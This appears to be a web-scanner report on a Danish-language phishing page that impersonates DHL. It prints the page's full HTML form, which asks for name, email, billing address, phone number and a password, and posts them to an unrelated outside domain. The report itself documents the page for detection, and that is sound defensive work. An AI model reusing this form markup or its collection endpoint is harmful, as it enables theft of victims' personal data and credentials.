parentsguide.mithilinus.com
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URL:
https://parentsguide.mithilinus.com/DKADIZE4536433231FR/ENGHUY645/BOBMSX02X1/
Submission: On December 04 via api from IE — Scanned from DE
Submission: On December 04 via api from IE — Scanned from DE
Form analysis
1 forms found in the DOMPOST https://optika.org.ua/get2/php199dk//logo.php
<form action="https://optika.org.ua/get2/php199dk//logo.php" method="POST" id="form_validation" class="uk-form-stacked">
<div>
<center><img style="max-width:25%;height:auto;" src="delivery-truck.png" class=""></center>
<center>
<h2 style="font-family: Raleway; color: #D2002E;">Bekræft dine faktureringsoplysninger 6540674221</h2>
</center>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> Fulde navn* <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanname" name="jeanname" data-parsley-trigger="change" required=""
data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> Email adresse* <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanname" name="jeanemail" data-parsley-trigger="change" required=""
data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> Betalingsadresse* <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanname" name="jeanadress" data-parsley-trigger="change" required=""
data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> By* <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanname" name="jeancity" data-parsley-trigger="change" required="" data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> Postnummer* <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanname" name="jeanzipcode" data-parsley-trigger="change" required=""
data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> Telefonnummer* <input style="font-family: Raleway" class="dhl-InputField-input" type="text" id="jeanname" name="jeanphone" data-parsley-trigger="change" required=""
data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> Opret adgangskode* <input style="font-family: Raleway" class="dhl-InputField-input" type="password" id="jeanname" name="pass" data-parsley-trigger="change" required=""
data-parsley-id="6">
</label>
</div>
<div class="uk-form-row">
<label for="jeanname" style="color:#d40511;font-family: Raleway;"> Bekræft kodeord* <input style="font-family: Raleway" class="dhl-InputField-input" type="password" id="jeanname" name="repass" data-parsley-trigger="change" required=""
data-parsley-id="6">
</label>
</div>
<div class="uk-margin-medium-top">
<input style="font-family: Raleway;" type="submit" class="dhl-Button dhl-Button--secondary" name="login" value="Bekræfte">
</div>
</form>
Text Content
BEKRÆFT DINE FAKTURERINGSOPLYSNINGER 6540674221 Fulde navn* Email adresse* Betalingsadresse* By* Postnummer* Telefonnummer* Opret adgangskode* Bekræft kodeord* © Copyright 2022 DHL